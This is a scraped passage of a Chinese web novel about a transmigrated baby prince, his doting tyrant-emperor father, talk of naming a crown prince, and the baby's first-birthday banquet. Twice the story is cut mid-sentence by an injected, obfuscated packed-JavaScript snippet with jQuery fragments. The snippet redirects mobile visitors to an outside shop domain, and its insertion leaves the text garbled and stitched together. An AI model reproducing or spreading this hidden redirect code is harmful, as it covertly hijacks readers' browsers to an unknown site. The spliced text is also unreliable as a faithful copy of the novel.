燕令雪在这一瞬间居然能共鸣谢若鹤,是啊是啊,同样都是牛马,怎么有的人就能啥也不干白拿工资。
燕决明扫了他一眼,“嫌朕给你俸禄少了?”
谢若鹤:“多多益善,陛下要多给些,臣也愿意。”
燕令雪已经趁他们聊天的功夫爬到桌上了,燕决明没阻止,只是伸手护着他,防止他掉下来。
小孩子好动,燕令雪实在控制不住,一屁股坐在桌上占据了最好的聊天位置。
刘其显低头沉思:“不,新任国师还是孩子,我记得是姓何,看上去挺讲礼数,就是说话阴阳怪气的,和你挺像的,就你们文臣那种调调。”
谢若鹤懂了,他煞有介事地点点头,“和我性格差不多的话,那他应该挺讨人厌的。”
燕决明冷笑一声:“你还挺有自知之明。”
他话音刚落,就见眼前视线被遮挡,燕令雪突然从桌上站了起来,朝着他哇呜了一声。
燕决明吓了一跳,飞快起身把小孩重新抱回怀里,生怕这傻小子摔下去。
谢若鹤啧啧称奇,“小殿下已经会站了,那会说话吗?”
刘其显:“应该还不会吧,看着好小。”
燕决明心脏砰砰直跳,这桌子可高,摔下去不得把燕令雪摔成傻子,“不会,傻子一个。”
站起来也不知道怕,还哇,不知道哇什么。
燕决明没好气地轻轻捏了捏他的脸颊肉。
燕令雪不高兴了,谁说他不会说话,他早就会了,只是这些天他看不了燕决明,所以不乐意说。
小孩气呼呼地揪住燕决明的衣袖,看着格外不服气,他望着燕决明,努力张了张嘴,似乎是想说什么。
燕决明只当他又要开始叽里咕噜,伸出指尖去逗他。
谁曾想,小孩握住了他的手,绵软的小手紧紧捏着他的食指不放,倾尽全力地喊出一声:“爹……爹……”
15. 他不想当皇帝啊!
孩子声音不大,但足够让燕决明听清楚每个字音,男人微微睁大了眼睛的,他抱着怀里的孩子,短短两个字,竟是让他不知所措。
燕决明甚至一时间没有任何反应,直到燕令雪又喊了他一声,“爹....”
燕决明这才回过神,一种难以言喻的喜悦席卷全身,他将燕令雪举起来,“再喊一遍。”
燕决明的嘴角抑制不住地上扬,燕令雪很听话,“爹!”
燕令雪这声爹越喊越清楚,他两只小手在空着晃着,嘿嘿乐个不停,怎么样,他很聪明的,已经会喊爹了。
燕决明眼底的笑意越发浓烈,这位书中的暴君在燕令雪面前温柔得不像话,他轻轻点了点燕令雪的鼻尖,“嗯,爹在这里。”
燕令雪愣愣地看着他,燕决明的瞳孔里倒影出他的身影,这位平日冷厉的暴君,在此刻温柔地注视着他,燕令雪心脏酸酸的,他张开双臂,又亲了燕决明一口。
燕令雪总是能让燕决明体会到从未有过的情绪,听到燕令雪喊他爹的那刻,燕决明只觉得前所未有地高兴,他看着这个孩子,心里的欢喜都快溢出来。
这是我的孩子,属于他燕决明一个人的孩子。
谢若鹤震惊地看着这一幕,他望着燕决明,又看了看燕令雪,谢若鹤不可置信道:“你是谁,无论你是谁,都给我从陛下的身体里出来。”
谢若鹤情愿相信燕决明中邪了,也不愿意相信燕决明在笑,还是这种正常,不含任何嘲讽意味的笑,开什么玩笑,他从小和燕决明一起长大的都没见对方这么笑过。
一旁的刘其显摸了摸湿润的眼角,“好感人。”
谢若鹤:“????你也有毛病?”
感人在哪里,他只看到了一个被夺舍的皇帝。
燕决明偏爱某个孩子,这很正常,孩子那么多,总有一个符合他心意的,但偏爱到性格都变了,这就不正常了。
除非这孩子是燕决明亲自生的,否则以谢若鹤对燕决明的了解,对不可能露出这么诡异的表情。
绝对不可能。
上次燕决明笑得那么开心,还是先帝咽气的那天,那次谢若鹤能理解,毕竟是大喜的事,笑笑也正常。
燕决明啧了一声,他不满道:“谢若鹤你给朕滚出去。”
随后又看向莫名感性起来的刘其显,“你也滚。”
谢若鹤嘿嘿一笑,“别啊,微臣就是感叹一下陛下与七殿下的,呃呃,父子情深。”
刘其显一秒立正,生怕挨骂,“微臣也是。”
谢若鹤的反应让燕令雪有些疑惑,小孩朝谢若鹤歪了歪脑袋,微微皱着眉,圆润的脸蛋上写满了困惑,嘴里哼唧了一声。
谢若鹤看着燕令雪还带着婴儿肥的脸颊,以及那双和葡萄似的眼睛,指尖一时有些痒,他俯身去逗燕令雪,“来,叫声谢叔。”
刘其显:“太难的词小殿下应该还不会说吧。”
嘴上这么说,刘其显也认真地朝燕令雪道:“来,喊声刘叔。”
燕令雪很给面子,他张了张嘴,努力地想喊两人。
没办法,谁让原著里,谢若鹤和刘其显二人,在他爹兵败之后,仍旧不肯投降,最后被男主斩杀。
看书的时候,燕令雪代入的是男主视角,只觉得这本书是爽文。
可不一样了,燕决明是他的亲爹,周围的一切并不是虚构的,都是有血有肉真正存在的角色,燕令雪再想起他们的结局,只觉得心里难受。
燕令雪更加坚定了要改变剧情的决心。
小孩皱着眉,很努力地发出声音,燕决明很无情地伸手捂着他的嘴,“不准喊他们。”
一脸期待的谢若鹤当场变脸,“这是不是有点过于小气了?”
燕令雪立马改变主意,既然他爹不让他喊,那他不喊了。
谢若鹤:有孩子了不起啊!
----
自打那天之后,谢若鹤还有刘其显时不时就来甘泉宫骚扰燕令雪,起初燕决明烦不胜烦,恨不得把两人拖出去各打二十大板,后来燕决明已经习惯了,就由着二人去了。
谢若鹤来的最勤,他起初只是想看看燕令雪到底有什么特别之处,能让燕决明喜欢成这样。
最后他彻底和燕令雪玩熟了,时不时就要逗逗娃。
小孩子长得飞快,转眼间已经会走路了,会说的词也多了些。
谢若鹤对他很大方,每次来都会带礼物,俗话说得好,吃人嘴软拿人手短,在谢若鹤礼物的诱惑下,燕令雪终于喊了他句谢叔。
谢若鹤当即高兴得不行,乐颠颠地跑到燕决明眼前炫耀了半天。
燕决明当即冷笑,勒令燕令雪不允许再喊谢若鹤,谢若鹤则表示,这么小的孩子听不懂燕决明的话。
结果一连几天,无论谢若鹤怎么逗,燕令雪都不肯开口喊他了。
“我的好殿下,给个面子。”谢若鹤趴在燕令雪身边,拿着只小兔子玩偶逗他,“再喊我一声谢叔,我把这个兔子送给你。”
不好,我爹不让我喊你。
燕令雪不理他,起身哒哒地朝李德旺走去,“旺旺,抱——”
旺旺是这几天燕令雪刚学会的,李德旺的名字有点难,他只会喊最后一个字。
燕令雪喊李德旺的那天,这位司礼监的总管太监如同被刘其显附身,当场老泪纵横,抱着燕令雪一顿哭。
“诶——”李德旺声音都夹起来了,一把抱起燕令雪,“旺旺抱。”
说实话,这个名字挺奇怪的,燕令雪有时候喊着喊着就想吃旺旺饼干了。
谢若鹤破防了,“什么意思,为什么不喊谢叔了?来,谢叔也能抱。”
燕令雪不要他抱,转身又朝翠荷张开手,“翠翠。”
翠荷硬着头皮,在谢大人幽怨的目光下抱起了燕令雪。
谢若鹤看着眼前这个坏心眼的小团子,“我说,小殿下你个糯米团子还是黑心的,故意不喊我是吧。”
燕令雪朝他腼腆一笑。
谢若鹤:这绝对是挑衅。
燕决明冷哼一声,“别白费力气了,朕什么不能给他,少贿赂小七,他不会搭理你的。”
谢若鹤拿着手里的小兔子在燕令雪面前晃悠,若无其事地开口道:“皇位陛下也能给吗?”
这句话砸下来,整个甘泉宫都静了一瞬,翠荷连忙抱着燕令雪跪倒在地,李德旺也瞪大了眼睛,“谢大人,陛下面前不可妄言!”
燕令雪懵了,他不就是不肯喊谢若鹤吗?这人至于这样害他吗?
翠荷心里惴惴,陛下再宠爱小殿下,他也是皇帝,还是正当年少的皇帝,没有哪个皇帝喜欢觊觎他皇位的皇子。
翠荷不明白谢若鹤为什么突然问出这种问题,小殿下还是个孩子,懂什么皇不皇位的,这完全是把小殿下往火坑里推啊。
燕令雪本人啊啊叫唤,他对皇位绝无半分觊觎,不要破坏他和他爹纯洁的父子情啊!
倒不是谢若鹤真这么小气,故意想坑燕令雪,而是他这几天已经确定,燕令雪对燕决明而言,不同寻常。
他对这个孩子是真心的。
既然是真心的,那么以他对燕决明的了解,这人喜欢谁,看重谁,就会把他认为最好的东西给那个人。
太子之位必定属于燕令雪。
燕决明搁了笔,他没有生气,反而问道:“朕如果能给,你又如何?”
翠荷呼吸都停了,她不清楚燕令雪的身世,以为对方的生母真的只是个普通女子,要知道,受宠的皇子,和太子是两码事。
皇帝会偏宠某个孩子,却不见得会让那个孩子继承皇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822678|211192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
位。
可现在,陛下竟是真的动了让七殿下继位的心思。
李德旺还是,他是在场除了燕决明之外唯一知晓燕令雪身世的人,自然接受良好。
可他想,陛下到底是皇帝,这种话拿到明面上来,恐怕多少会有些不悦,结果燕决明的反应出乎他的意料。
谢若鹤笑眯眯地从翠荷手里接过燕令雪,燕令雪不想给他抱,这人坏得很,却又挣脱不开。
“不如何,臣只是问问。”谢若鹤说:“皇位是陛下的,陛下想给谁臣无权插手,但太子之位,五年之后陛下必须定夺。”
燕令雪还在挣扎,他不想当什么太子,燕令雪没那么大的志向,他也不喜欢惹麻烦,他对未来最大的规划只是想改变燕决明的结局,至于别的他想都没想过。
燕令雪清楚,燕决明的孩子不是那么好当的,他逃避一般地想,只要他不争,是不是就能当个咸鱼。
他一面知道这不可能,一面又不愿意接受事实。
眼下听出燕决明似是真想让他继承皇位,燕令雪一百个不愿意。
谢若鹤说得认真,皇子之间的关系被燕决明当年那场声势浩大的皇权之争影响,未来势必会斗个你死我活,这对不是什么好事。
现在皇子还小,后宫能安静几年,等五年后,这群孩子开智了,可就没这么风平浪静了。
到那个时候,燕决明必须得立个太子,一是为了堵住朝臣的嘴,二是他得替燕令雪打掩护。
在其他人眼里,燕决明如此反常地宠爱七皇子,已经让人无法接受,倘若他日后再立燕令雪为太子,后宫的皇子必将联手除掉燕令雪。
在谢若鹤眼里,燕令雪的出身不足以让他稳住太子之位,他背后没有母族势力支撑,群臣肯定会有意见。
所以,他们得推出一个能够服众的太子。
在谢若鹤眼里,太子是太子,坐上太子之位,不代表皇位稳了。
谢若鹤能想到,燕决明自然也能想到,只是燕令雪还小,他心里有意,也只是想想,“那你认为,朕该立谁为太子。”
谢若鹤:“大皇子燕瑾,一来他是陛下的嫡长子,按以往的规矩,这太子之位本该是他的,二来,燕瑾聪慧并非庸才,立他为太子,无论从哪个方便来讲,都更容易服众。”
“还有,陛下立了太子,对七殿下来说也更安全。”谢若鹤继续道:“他们只会觉得,七殿下只是年纪小更受陛下喜爱,而大皇子,才是陛下心仪的继承人,毕竟受宠的小儿子,和得体的继承人是两码事。”
这是要把燕瑾拖出来当刀的意思了,不过这正是皇后一派想要的,燕决明可以成全他们。
谢若鹤把怀里疯狂挣扎的燕令雪向上颠了颠,“反正太子这个名头陛下随时可以废除,只要陛下不死,燕瑾就不可能如愿以偿,再者,臣未来有信心教好七皇子,让他担得起真正的太子位。”
燕决明从不质疑谢若鹤的能力,问题在燕令雪身上,“朕只担心这个孩子心太善,你把他教得再好,若是心太软,也难成气候。”
燕令雪在他肚子里就格外心软,燕决明当初要杀他,这孩子也只是哭,哭完还不忘提醒燕决明未来会遭遇不测。
燕决明当初觉得燕令雪是个妖物,现在他觉得燕令雪是上天赐给他的宝贝,他当然知道这个孩子来头不一般,可眼下,燕令雪只是他燕决明的孩子,是他八月怀胎生下来的孩子。
“心善……”谢若鹤咀嚼着这两个字,末了笑了,“在这宫里待久了,再心善的人到后面也会变,陛下不可能一直把小殿下拘在甘泉宫,只要他在这宫里活着,绝不可能心善到不分是非的地步……诶——”
燕令雪嗷呜一声咬在谢若鹤手上。
住嘴啊,他不想当皇帝啊!
谢若鹤,你个讨厌鬼!
16. 周岁宴
燕令雪嘴里没牙,一口咬下去也不痛,反而糊了谢若鹤一手的口水。
燕令雪试图用眼神严厉地斥责谢若鹤,小团子气势汹汹地哼了他一声,谢若鹤一脸莫名,“诶,不是,小殿下怎么又生气了,臣刚刚也没说什么吧。”
燕令雪假嚎了几声,都怪你,谢若鹤要是不提皇位这事,燕令雪还能自欺欺地假装无事发生,当个咸鱼。
现在好了,谢若鹤非得提醒他的境况,经过谢若鹤这么一闹,燕令雪只能焦虑地当个咸鱼了。
燕决明撑着脑袋,“你说的朕都知晓,五年内朕自然会立太子,眼下小七还小,不急于一时。”
谢若鹤举起燕令雪,看着气鼓鼓的小孩,他乐了,“说得也是,七殿下连牙都没长齐了,等小殿下长大了,微臣自然会好好教导小殿下。”
等等。
燕令雪发现了盲点,这么说的话,他未来还要上学?
不不不不不。
他无疑是害怕的。
噩耗接踵而至,燕令雪的小孩脑袋承受不了这么多,而且听谢若鹤的语气,这人未来大概率还是他的老师。
燕令雪秒变脸,谢若鹤眼睁睁望着刚刚还在生他气的小孩,突然换了个表情,怀里的小糯米团子朝他嘻嘻一笑,大声地喊了声谢叔。
我喊你一声谢叔,未来能少给我布置点作业吗?
“哇。”谢若鹤举着他,脑袋往后嫌弃地一缩,“陛下,小殿下果然是您亲生的,简直和陛下一样阴晴不定。”
刚刚说什么都不乐意开口,怎么现在又叫得这么好听。
有古怪。
燕决明没搭理谢若鹤,他熟练地把燕令雪从谢若鹤手上捞出,随后他又扫了眼谢若鹤亮晶晶的手背,好心提醒道:“擦擦你的手,上面全是口水。”
谢若鹤:“?”
还不是你儿子干得好事!
——
自打知道他爹准备让他继承皇位后,燕令雪是吃也吃不好,睡也睡不好。
小孩坐在台阶边,手里抓着块白玉糕,吃一口叹一口气。
他最近走路走得愈发稳当了,虽然时不时还会摔个屁股墩,但相较之前好了不少。
燕令雪抓着白玉糕,咬了一个时辰,白玉糕还只是轻伤,燕令雪大怒,只觉得自己被白玉糕给侮辱了,遂决定跑到御书房让他爹狠狠地教训这块不识趣的糕点。
燕令雪捏着糕点往御书房跑,李德旺连忙去拦,“小殿下,不能进去,陛下在忙。”
燕令雪跑得不稳,跑两步就要摔一下,李德旺连连用手去扶他,生怕这位小祖宗磕了碰了。
“进去....”燕令雪指了指门,他就是想给他爹吃块点心,投喂完就走的呀,不会耽误很长时间的,“爹爹,爹爹吃。”
说话不大顺溜的燕令雪努力表达着他的意思。
学说话果然是件难事,舌头压根不受他控制。
御书房内的燕决明听到门外的动静,出声道:“让他进来。”
李德旺这才帮燕令雪开了门,燕令雪迈着步子,摇摇晃晃地朝燕决明身边跑,李德旺张开双手,弯着腰在两边护着他,“哎哟,小殿下走慢点,别摔着了。”
燕令雪充耳不闻,谁料没走两步,燕令雪身体一晃站立不稳,眼看着要一屁股坐倒在地上,李德旺大惊失色,刚要护住他,一只稳稳地将燕令雪抱了起来,是燕决明。
“慢点,急什么。”
燕令雪还没反应过来,人已经坐到燕决明的腿上了,他立马抬手,将手里的白玉糕递给了燕决明,“爹爹吃。”
一块糕点不知道被他抓了多久,小爪子上全是糕点的粉末,燕决明一脸嫌弃,“朕不吃,给李德旺吃。”
李德旺当即干笑,他倒也不是嫌弃小殿下,只是他年纪大了,吃不了甜的,他望着小孩手里惨不忍睹的糕点,一时无言,“这.....”
嫌弃我?
燕令雪敏锐地感受到他爹情绪,果断拒绝了燕决明的提议,“爹爹吃,爹爹吃。”
他伸手把那块点心糊到了燕决明的嘴边,燕决明很想拒绝,但他刚有拒绝的意图,怀里的小团子立马瘪嘴看着他。
燕决明冷笑,心想就算燕令雪真的哭出来,他也不会把小孩子手里的不明物体咽下去。
“朕不吃,扔了。”
燕令雪黑黝黝的眼睛望着他,不过瞬息,那双眼睛便蓄满了眼泪。
燕决明:“.....”
燕决明只觉得头痛,忍了又忍,最终闭上眼睛,把那一小块甜腻的点心吃了下去。
燕令雪又嘿嘿地朝他笑,一副得逞后的得意模样,燕决明喝了口茶,勉强将那股甜味咽了下去,见他笑成这样,燕决明笑骂道:“臭小子,下去。”
他又把燕令雪从腿上抱了下去,李德旺暗自发笑,陛下在小殿下跟前压根没什么原则嘛。
燕令雪看了看燕决明桌上堆成山的奏折,他心里知道燕决明很忙,但他又很想陪着燕决明。
他现在还是小孩子思想,尽管有上一世的记忆,但大多数的行为和普通小孩无疑,这个年纪的孩子,很是黏人,燕令雪也是如此。
李德旺朝燕令雪走过来,“走,小殿下,我们去外面玩,奴才带小殿下去看小鱼好不好。”
小鱼是甘泉宫小池塘的锦鲤,红红黄黄的,燕令雪一眼就喜欢上了,每天都要拿着糕点嚷嚷着要去喂小鱼。
“不要小鱼。”燕令雪不让他抱,两只小手抱上了燕决明的大腿,“要爹爹呀。”
燕令雪怀疑自己有分离焦虑,离开燕决明太久就浑身上下不得劲。
就算翠荷和李德旺每天陪着燕令雪玩,他也只能高兴一会儿,一旦他太长时间看不见燕决明,燕令雪又会一脸茫然地问他爹在哪儿?
以前燕令雪还能克制一点,结果他发现无论怎么样都克制不住,索性摆烂了。
他只有待在燕决明身边才能安心。
燕决明垂眸看着腿边的小团子,“不行。”
太黏人了,这不好。
小孩眨巴着他的大眼睛,一脸无辜地用脸蹭了蹭燕决明,“我听话。”
他不会捣乱的。
燕令雪张开手,示意燕决明抱他。
刚才还觉得小孩黏人不好的燕决明,在这短短一瞬间的功夫就改变了主意。
燕令雪才不到一岁,黏他也正常,燕决明重新把小孩放到腿上。
李德旺在旁看着,笑得一脸慈爱,他就知道陛下拒绝不了小殿下,小殿下想要什么,三次之内,陛下便会同意。
燕令雪说听话,那就是真的听话,他待在燕决明腿上,手上捏着上次谢若鹤送他的兔子玩偶,闷声不吭,生怕燕决明要赶他走。
走神的反而是燕决明,孩子小小一只窝在他的腿上,小脑袋瓜垂着,燕决明只能看见小孩软乎乎的侧脸,他怎么看怎么觉得可爱。
李德旺没有打扰他们,自从燕令雪出生,整个甘泉宫都有了生气,不像以往那么压抑沉闷,就连陛下都逐渐变得柔和不少,大概是因为在燕令雪在,燕决明的脾气都收敛了。
这个年纪的孩子,很少能坐得住,但燕令雪全程没怎么动弹,最多也就把下巴压在桌子边缘,看燕决明批奏折。
燕令雪两只幼圆的眼睛眨巴着,乖得不像话。
燕决明处理奏折的速度都快了不少。
一个时辰过去,燕令雪有些饿了,他拉了拉燕决明的衣袖,摸着肚子可怜兮兮地仰着小脑袋,“爹爹,饿。”
李德旺见状立马道:“奴才方才命人做了些酪浆,在小厨房放着呢,小殿下稍等,奴才这就让人端过来。”
燕令雪点点头,他晃着脚靠在燕决明身上,燕决明搁了笔,燕令雪在这里陪着他,明明什么都没做,燕决明内心仍旧觉得对方受了委屈。
酪浆很快被端了上来,李德旺本想喂燕令雪,却被燕决明接过碗,“朕来喂他。”
燕令雪在他肚子里的时候十分挑食,一旦有吃的不符合他的心意,便要在他肚子里闹个不停,出生后反倒是不挑食了,不过也有可能是他年纪小,又没长牙,能吃的东西不多的缘故。
燕决明拿起调羹,递到小孩的嘴边,燕令雪抓着燕决明的手,低着脑袋喝得认真,他每喝一口,燕决明心里就涌上一层奇异的满足感,以至于后面燕令雪不喝了,他都有些小小的失望。
“小七,明天就是你的周岁宴。”燕决明将空碗递给李德旺,“想要什么?”
李德旺有些好笑:“陛下,小殿下还小呢,说不了几句话。”
正常孩子这个年纪只会喊爹娘,也就他们小殿下天资聪颖,还会说些词句,但再怎么样也是孩子,不可能什么都能听懂,也不可能什么都会说。
燕令雪差点忘了这茬,他对周岁宴并不上心,也没那么期待,眼下他小小的脑袋里最大的愿望,也只是想燕决明陪着他,于是燕令雪不假思索道:“只要爹爹。”
不管了,燕令雪承认他现在就是离不开燕决明,这很正常,他还小,哪有小孩子能离开娘的,反正燕令雪不行。
他在内心小声嘀咕,看向燕决明的眼睛里满是认真,满心满眼里只有燕决明。
李德旺这个旁人见此情景都忍不住哎哟了一声,他们家小殿下说话一向戳人。
燕决明听见他这么说,心里柔软一片,面上倒是仍旧冷冰冰的模样,但燕令雪通过对他爹的了解,一眼看出燕决明此时很高兴。
“好,朕明天陪着你。”燕决明摸了摸小孩的脑袋,只觉得燕令雪哪都好,简直是天底下最可爱的孩子。
燕决明有些嫌弃当皇帝事多了。
燕令雪最后趴在燕决明身上睡着了,他睡得迷糊,不知道过了多久,半梦半醒间,燕令雪感受到燕决明突然向他凑近说了些什么。
燕令雪努力地听着,可他又困,半天也睁不开眼睛,但他还是听清了燕决明说的话。
他说:“祝朕的小七,周岁快乐。”
燕令雪一怔,睡意拉着他往梦乡里拽,他只能拼尽全力拉住燕决明的手。
燕令雪竟是开始期待他的周岁宴了。
次日清晨,燕令雪难得早起,他一早被人抱起来换衣服,因为他还小,换衣服睡着了也无所谓,于是燕令雪一边打瞌睡,一边任由着侍女捣鼓他。
等他再次睁眼,燕令雪发现他正在翠荷的臂弯,而翠荷正笑眯眯地看着他,“翠荷祝小殿下周岁快乐。”
“翠翠。”燕令雪高兴地朝她笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822679|211192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
你也快乐呀。
可惜这句话对现在的他来说太难,燕令雪怎么都说不出来。
他又换了身新衣服,穿着件红色的小马甲,马甲上用金丝绣着小老虎,裤子鞋子还有帽子都是红色的,上面都绣着细细的暗纹,在阳光底下流光熠熠,看着就贵。
小孩子穿了一身红,也不难看,反倒是衬得燕令雪愈加可爱,抱在怀里,像抱着一团柔软的雪团子。
李德旺不遗余力地夸赞:“不愧是小殿下,天底下没有哪个小孩子,能有我们小殿下好看。”
燕令雪得意地扬起了小脑袋,那是。
他肯定是全天下最可爱的小孩。
不多时,燕决明也来了,男人换了身更为华贵的服饰,黑色暗金纹路的内搭,外袍由浮光锦制成,花纹繁杂,行走时如水流波动,浮光跃金,衬得燕决明更加矜贵无双。
燕令雪哇了一声。
他爹大多时候表情淡然,冷脸不说话是更是帅得不行,嗯,不愧是暴君,自带压迫感。
希望他未来继承他爹的颜值。
燕令雪欣赏了一会儿他爹的新皮肤,转而一头扎进燕决明的怀里。
熟悉的龙涎香将他包围,燕令雪安心了,随后十分熟练地把玩着燕决明的头发。
燕决明习以为常,垂眸安静地看着他玩。
真是奇怪了,他竟是看燕令雪玩他的头发都觉得有趣。
宴会夜晚才开始,谢若鹤和刘其显提前到场,两人朝燕决明行完礼,便直奔燕令雪而来。
谢若鹤掏出一只金子做的小兔子金像,“微臣祝殿下周岁快乐,望殿下岁岁安康,这是给殿下的礼物。”
谢若鹤给他准备的礼物自然不止这些,只是那些都不适合给小孩子玩,他只好单独拿了一个合适的,逗燕令雪玩。
燕令雪很给面子地喊了他一句谢叔,谢若鹤当场得意地朝刘其显炫耀,“看见没,小殿下叫我谢叔。”
刘其显长得人高马大,内心十分脆弱,听到谢若鹤这么说,刘其显满怀渴望地望着燕令雪,他说完祝福语,又给燕令雪塞了礼物,随后眼睛一眨不眨地望着面前的小孩。
眼底的期待几乎要溢出来了。
搞得燕令雪都紧张了,他生怕自己伤害到了刘其显脆弱的心脏,于是他打起十二分的精神,中气十足地喊了声刘叔。
他吐字清楚,声音洪亮,连燕决明都有些惊讶。
怎么突然声音大了一个度。
刘其显高兴了,他得意朝谢若鹤说:“哦,小殿下喊我喊得更大声。”
谢若鹤一脸不可置信地望着燕令雪,“不行,小殿下偏心,微臣哄了小殿下一个月才会喊人,怎么轮到刘其显一下就会了?”
刘其显火上浇油:“可能是小殿下更喜欢我。”
谢若鹤破防了,当即要燕令雪重新喊一次。
燕决明只觉得他们两个聒噪,“你们两个,滚回自己的位置,吵得朕头疼。”
打发完谢若鹤和刘其显,剩下的流程没什么特别的,只是后宫的娘娘们送礼时,每个人都要用耐人寻味的目光扫一眼燕令雪。
燕令雪习惯了。
谁让燕决明是真的宠爱他,按理来说,没有哪个皇子能一直留在皇帝身边养着,皇帝这样做会让朝堂上的各方皇子的势力感到压力,但他们怕燕决明,不敢明着说,就只能暗着提。
比如,这宫里的每位娘娘都曾跑到甘泉宫,提议将燕令雪放到自己身边养。
谁也不敢赌皇帝对燕令雪的感情,养一个月只能说是皇帝一时兴起,时间长了,养出感情来了就另当别论。
可眼下都一年了,陛下还将燕令雪养在甘泉宫里,各宫娘娘不着急才怪。
燕令雪才不管那么多,他想好了,如果燕决明真要把他送到别的宫里去,他就哭。
反正只要他哭,燕决明就舍不得为难他。
除了燕决明看中的臣子,还有后宫的妃子们外,大皇子燕瑾和二皇子燕和君也来了周岁宴。
燕瑾一向睚眦必报,燕令雪看见他就紧张,那天燕瑾在御花园吃了瘪,这人肯定会想办法从他身上找回来。
燕瑾这次倒是没像上次那样,目光阴森着注视燕令雪,甚至在燕令雪看过来时,朝燕令雪温和地笑了一下。
燕令雪吓了一跳,当即把脑袋埋到了燕决明的脖子里。
燕和君也好奇地打量着燕令雪,他性格乖戾,在原著里和燕瑾是敌对关系,两人从小就合不来。
燕令雪当初让燕瑾在御花园丢了面子,燕和君得知后,私底下嘲笑了燕瑾许久。
燕和君对这个弟弟目前没什么恶感,一来是因为燕令雪太小了,二来则是燕和君讨厌燕瑾,燕令雪能让燕瑾吃瘪,他自然是高兴得不行。
当然,这不代表燕和君就喜欢燕令雪,只是眼下,燕令雪对他而言威胁不如燕瑾大,等到燕瑾倒台了,燕和君下一个目标便是燕令雪。
燕令雪不大想看见他这两个不好惹的兄长,他偏着头,自我转移注意力般去玩燕决明头上的发饰。
小手刚抓上去,就听见一道尖细的嗓子高声喊道:“太后娘娘驾到!”
燕令雪手一抖,差点把燕决明头发上的饰品给扯断。
17. 喜欢爹爹。
周太后怎么会来。
燕决明当初在九溪台杀了所有兄弟手足后,周太后便对这个儿子格外不喜,甚至可以说是对燕决明有怨,母子二人很少见面。
到了原著后面,燕决明和周太后完全是陌生人,互不搭理。
但其实燕决明对周太后有感情,幼时的燕决明也是敬爱兄长关照幼弟的好孩子。
燕令雪松开捏着燕决明发饰的手,心里有些不是滋味。
他爹小时候也是个善良的小孩,只是幼时受了刺激,得了失语症,一直到九岁才会说话,周太后对燕决明便格外关照些,这份关照引起了燕决明另外两位兄弟的不满,两人时常伙同后宫里的其他皇子,联手羞辱欺负燕决明。
这让燕决明慢慢变得睚眦必报,性格也愈加冷漠。
周太后的出现让大殿内静了一瞬,但很快所有人俯身行礼,几位嫔妃们心下纳罕,燕决明和太后不和的消息里人尽皆知,一般情况下,很少能看到两人同时出现。
“免礼。”周太后挥挥手,径直坐到燕决明身旁的位置,视线自然而然地落到了燕决明怀里的小孩身上。
小孩黑亮亮的眼睛也一眨不眨地盯着她,满脸写着好奇。
周太后心下叹息,燕决明可从没抱过其他皇子,怎么唯独对这孩子如此喜欢,竟是要亲自抱着。
曾经几何,周太后也曾担心后宫皇子的安危,大多帝王都性情凉薄多疑,几个皇子未来都不是省油的灯,小打小闹的还好,真要是惹怒的燕决明,和这人谈亲情是半点用没有的,杀与不杀不过是皇帝的一念之间。
他连自己亲生母亲的哀求都能视而不见。
如今倒是像变了个人,周太后竟是有些看不懂她这个儿子了。
燕决明怀里的小孩一看就是用心养的,长得白白嫩嫩粉雕玉琢的,穿着件红色坎肩,身上挂着各种小金饰,就连衣服上的图案都是用金丝绣成。
“来,给哀家抱抱。”见燕令雪一直看着自己,周太后忍不住笑了,她不愿把恩怨牵扯到孩子身上,平时在慈宁宫嘴上说着不喜欢燕令雪,真到见着人的时候,她又忍不住心软。
燕决明全程没怎么说话,把孩子小心地递给了周太后,燕令雪立马张开双臂,热情地扑进周太后的怀里。
给你抱,你能不能不要讨厌我爹啊。
燕令雪眨巴眼睛,可怜兮兮地看着周太后,周太后戳了戳小孩的脸颊,“哎哟,怎么这么委屈。”
云碧也跟着笑,七皇子实在生得玉雪可爱,漂亮孩子总归是更讨喜些。
太后娘娘前些时日还说不喜七殿下,嘴上这么念叨,心里不还是好奇,今天七皇子周岁宴,面上说不去,最后还是赶来了。
燕令雪伸手抓住了周太后的手指,又咯咯地笑出声,燕决明在旁边撑着脑袋看着他笑,表情淡然,心里却在想,这小孩,一天到晚到底有什么好笑的。
孩子不在自己怀里,总归是不踏实。
燕瑾将这一幕尽收眼底,他不由自主地握紧了拳头,为什么燕令雪能够在父皇哪里得到如此多的优待,而他却不行。
燕和君注意到燕瑾的情绪,嬉笑着用手肘撞了撞他,“怎么了皇兄,莫不是看到小七受宠,皇兄觉得心里不舒服了。”
燕瑾不动声色地朝旁边挪了挪,“怎么会,小七还小,受宠也正常。”
燕和君不依不饶,“你的表情可不是这么说的。”
燕瑾聪明归聪明,唯独在面对他们父皇时格外拎不清,燕和君对燕决明只有惧怕,他巴不得燕决明不搭理他才好,但燕瑾和他正好相反,这人慕强又自恋,整个皇宫里除了燕决明,燕瑾谁都看不上,燕决明的认可对他而言无比重要。
燕和君承认,如果他父皇夸他一次,他也能高兴得几天睡不着,但燕瑾不一样,他要燕决明只夸他一个小孩。
做梦呢,他们父皇是皇帝,对他们没有父子之情,更不可能只喜欢燕瑾一个人。
哦,燕令雪是个意外。
燕和君讨厌燕瑾每天装腔作势,明明和他一样是个小孩,还要装成大人样,他一想到燕瑾求都求不来的东西,而燕令雪轻而易举就能得到,燕和君便忍不住地暗爽。
